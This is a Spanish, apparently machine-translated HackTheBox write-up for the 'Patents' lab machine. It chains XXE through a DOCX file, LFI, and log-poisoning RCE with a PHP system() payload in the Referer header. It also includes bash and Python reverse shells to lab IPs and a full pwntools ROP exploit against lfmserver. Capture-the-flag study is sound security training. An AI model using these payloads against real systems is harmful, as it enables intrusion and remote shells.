HackTheBox. Pasando patentes. XXE a través de archivos DOCX, LFI a RCE, GIT y ROP-chain

imagen

Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox .

En este artículo, explotamos XXE en el servicio para convertir documentos DOCX a PDF, obtener RCE a través de LFI, profundizar en el historial de GIT y restaurar archivos, componer cadenas ROP usando pwntools y encontrar un archivo raíz oculto.

La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que ingresa a una red privada con personas que saben algo en el campo de la seguridad de la información :)

Información organizacional
, , Telegram . , , .

. , - , .

Recon


Esta máquina tiene una dirección IP 10.10.10.173, que agrego a / etc / hosts.

10.10.10.173    patents.htb

Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 500 paquetes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500

imagen

Ahora, para obtener información más detallada sobre los servicios que operan en los puertos, realizaremos un análisis con la opción -A.

nmap -A patents.htb -p22,80,8888

imagen

El host ejecuta servicios SSH y el servidor web Apache, con el puerto 8888 reservado para un servicio incomprensible. Veamos la web.

imagen

El sitio tiene un formulario de descarga para documentos DOCX.

imagen

XXE DOCX


Según la declaración, nuestro documento se convertirá a formato PDF. Esto sugiere el pensamiento de XXE. Tomé un ejemplo de aquí .

imagen

Por lo tanto, en este ejemplo, el host intentará descargar el documento xml del servidor remoto. Al descargar este documento, leerá el archivo local especificado en el documento xml descargado, lo codificará en base64 y se comunicará con nuestro servidor nuevamente, pasando el archivo codificado como parámetro de solicitud. Es decir, después de decodificar este parámetro, obtenemos el archivo de la máquina remota.

Pero esta carga no debe colocarse en la ruta word / document.xml. Como el SDK de OpenXML se utiliza para trabajar con este tipo de documento, se sigue de aquí y de aquí., el software del lado del servidor buscará datos en word / document.xml y en customXML / item1.xml. Por lo tanto, la carga debe colocarse allí.

Creemos un documento docx y descomprímalo como un archivo zip. Después de eso, cree el directorio customXML y cree el archivo item1.xml en él. En él escribiremos el código de la imagen de arriba, cambiando la dirección IP a la nuestra. Y archivamos el documento de vuelta.

imagen

Ahora ejecute el servidor web local.

python3 -m http.server 80

Y en el directorio actual creamos el segundo archivo xml, especificando / etc / passwd como el archivo deseado.

imagen

Y suba el documento al servidor. En la ventana con el servidor web en ejecución, veremos la conexión inversa.

imagen

Decodifique base64 y obtenga el archivo solicitado.

imagen

De esta manera podemos leer archivos en el servidor. Leamos los archivos de configuración de Apache. Para hacer esto, cambie dtd.xml y repita la descarga del documento.

imagen

imagen

Entonces descubrimos el directorio en el que se encuentra el sitio. Intentemos leer el archivo de configuración.

imagen

imagen

Y el comentario dice que el archivo fue renombrado debido a la vulnerabilidad. Por supuesto, nos referiremos a ella patents.htb / getPatent_alphav1.0.php .

imagen

Volviendo a esta página y pasando la ruta ../../../../../etc/passwd como parámetro id, todas las apariciones de "../" se eliminarán de nuestra línea. Reemplacemos cada línea "../" con "... /. /", Así que si elimina una secuencia, seguirá siendo "../".

imagen

Y encontramos a LFI.

Punto de entrada


Intentemos obtener RCE de esto. Francamente, fue difícil. El hecho es que al enviar dicho documento, no recibimos una oferta para descargar PDF. Es decir, se utilizó el descriptor 2 (para mostrar mensajes de diagnóstico y depuración en forma de texto). Y podemos recurrir a él. Codifiquemos el shell inverso en base64:

/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn

Lo decodificaremos y lo pasaremos a la función del sistema en php. Pasemos el código como un encabezado HTTP al cargar un archivo.

curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'

Ejecuta netcat.

nc -lvp 4321

Y ahora pasemos al segundo descriptor.

curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2

Volvemos a conectarnos.

RAÍZ 1


Cargue el sistema de script transfiere linpeas y analice cuidadosamente la salida. Entonces trabajamos en un contenedor acoplable.

imagen

También encontramos hashes. Pero pirateando, llegamos a la nada.

imagen

imagen

Por lo tanto, ejecute pspy64 para rastrear los procesos en ejecución. Y encontramos el inicio del proceso como root, en el que la contraseña se pasa como una variable de entorno.

imagen

Y cambie localmente al usuario ingresando esta contraseña.

imagen

RAÍZ 2


Veamos qué hace este script.

imagen

imagen

Recibimos un consejo sobre algunos servidores lfms, y también guardamos el nombre de usuario y la contraseña. Veamos en el sistema todo lo relacionado con lfm.

imagen

Y encontramos el repositorio git en este directorio.

imagen

Trabajemos con este repositorio.

imagen

Veamos la historia de los cambios.

imagen

Veamos la historia de los cambios. Entonces, vemos que en el penúltimo commit, se agregaron un archivo ejecutable y una descripción, y en el último, ya se eliminaron. Retrocedamos antes de eliminar archivos.

git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5

Y en nuestro directorio apareció un archivo ejecutable y una descripción.

imagen

imagen

Aquí ya quería comenzar a invertir el archivo, pero tenemos un proyecto git. Encontré un commit que mencionaba los códigos fuente.

imagen

Y restauremos los archivos.

git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123

Después de eso, descargamos los códigos fuente de interés, el programa en sí y las bibliotecas en la máquina local.

Rop


Necesitamos tratar de encontrar y explotar la vulnerabilidad en el programa, hay códigos fuente para ayudar. Verifiquemos la protección en un archivo binario.

imagen

Es decir, faltan el canario y el PIE, pero la pila no es ejecutable. Abramos el archivo binario en cualquier desensamblador con un descompilador conveniente para usted (uso IDA Pro 7.2) y comparemos el código descompilado con los códigos fuente del repositorio.

imagen

Para conectarse al servidor y usar los datos del archivo checker.py, así como las credenciales.

imagen

imagen

Escribamos una plantilla de exploit.

#!/usr/bin/python3

from pwn import *

context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"

Ahora determinemos la solicitud. Iniciar la aplicacion.

imagen

Debe enviar la ruta al archivo y el hash de su contenido. Por ejemplo, tomé / etc / hosts.

imagen

Agregue el siguiente código a la plantilla.

INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)

r = remote(HOST, PORT)
r.sendline(send_.encode())

r.interactive()

Ahora ejecute y obtenga el error 404.

imagen

Veamos el archivo de registro.

imagen

Está claro dónde está buscando un archivo la aplicación, juguemos con las rutas y especifiquemos dicho archivo.

file = "../../../../../etc/hosts"

Ejecutaremos el código y no veremos ningún error.

imagen

imagen

Pero en el caso de urlencode, ¡obtenemos una respuesta con el código 200 del servidor!

file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"

imagen

Genial, volvamos al desensamblador. Encontramos entre las líneas (Shift + F12) una respuesta exitosa del servidor. Y veamos dónde se accede (X).

imagen

Y pasamos a la primera función, donde al principio hay una verificación de credenciales.

imagen

Cambiemos el nombre de las líneas variables en la ventana del desensamblador para que sea más fácil de entender en el descompilador.

imagen

Y analizando el código en las líneas 18-24, entendiendo lo siguiente: parte de la entrada del usuario cae en la función sub_402DB9, donde la cadena se convierte al nombre de la variable, que luego cae en la función de acceso, y si el resultado es negativo, se emite el mensaje 404. El nombre de la variable será la ruta al archivo. Dado que la solicitud se procesó incluso en la codificación urlencode, es muy probable que esta función sea necesaria para la decodificación.

imagen

Pero el hecho es que el nombre de la variable, donde se transfieren los datos, es de un tamaño limitado.

imagen

Por lo tanto, para el desbordamiento del búfer, necesitamos transferir 0xA0 = 160 bytes. Agreguemos en el código la función de agregar hasta 160 bytes y codificar la ruta al archivo. Dado que el hash se calcula a partir del contenido del archivo, es necesario no violar la integridad de la ruta del archivo, es decir, después de que la ruta principal agregue 0x00 bytes.

Pero el hecho es que necesitamos saber el hash de cualquier archivo en el servidor, que siempre estará disponible y nunca cambiará. Por ejemplo, / proc / sys / kernel / randomize_va_space, y como recordamos de la salida de linPEAS, ASLR está activado, es decir, conocemos el hash.

imagen

Luego cambia el código.

#!/usr/bin/python3
from pwn import *

def append_and_encode(file, rop=b""):
    ret = b""
    path = (file + b"\x00").ljust(160, b"A") + rop
    for i in path:
        ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
    return ret

context(os="linux", arch="amd64", log_level="error")

HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()

Funciona con exito!

imagen

Ahora usemos una pérdida de memoria y determinemos la dirección donde se carga la biblioteca libc. Para hacer esto, obtenemos la dirección de la función de escritura en la biblioteca libc cargada.

binary = ELF("./lfmserver")
libc = ELF("./libc6.so")

rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)

imagen

Ahora seleccione la dirección de la función dup2 (los primeros 8 bytes). Reste la dirección de la función dup2 en la biblioteca descargada. Esto encontrará la dirección base de libc.

print(f"[*] Payload sent")

recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")

imagen

Ahora encuentre la dirección de la línea / bin / sh.

shell_address = next(libc.search(b"/bin/sh\x00"))

Queda por recopilar el ROP, en el que los descriptores de E / S estándar (0,1,2) serán redirigidos al descriptor registrado en el programa (tomemos 6). Después de lo cual se llamará a la función del sistema, donde pasaremos la dirección de la línea / bin / sh.

rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build()) 

payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)

context.log_level='info'
r.recv()
r.sendline(b"id")

imagen

¡Multa! Obtenemos el caparazón desde la raíz. Pero él se está muriendo rápidamente. Ejecute el oyente (nc -lvp 8765) y lance el shell de conexión posterior.

r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

imagen

imagen

Y tenemos un caparazón estable. Doy el código completo en la imagen de abajo.

imagen

Pero no podemos leer la bandera raíz ...

imagen

RAÍZ 3


Al ejecutar linpeas y mirar la salida, encontramos secciones interesantes, especialmente / dev / sda2.

imagen

Vamos a obtener información sobre todos los dispositivos de bloque.

imagen

Así tenemos la partición raíz / dev / sda2. Cree un directorio y monte la partición.

imagen

Entonces encontramos la bandera raíz.

Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos combinados, así como software. Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

All Articles